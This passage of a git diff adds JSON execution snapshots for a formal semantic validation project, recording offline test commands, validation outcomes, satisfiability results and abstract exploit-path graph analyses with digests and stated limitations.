"docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1360-execution-v51", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1360-execution-v51", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "222b00001ad6830c76772e01168532105751fbb7", + "source_state": { + "base_revision": "222b00001ad6830c76772e01168532105751fbb7", + "checkout_state": "modified", + "implementation_digest": "fa2af23118d886d4390e5639ad198c4ce87aa4bc5d53eef51a917742040a8ee7", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v52.json b/docs/research/formal-semantic-validation/execution-snapshot-v52.json new file mode 100644 index 000000000..790e495fb --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v52.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1360-execution-v51", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v51.json", + "release_revision": "52.0.0", + "release_sha256": "71f2a77017fac2258b8c610284004c7ad933cebc758e893a62844cab338f7d81" + }, + "captured_at": "2026-09-25T05:31:37.066319+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1360-execution-v52", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + 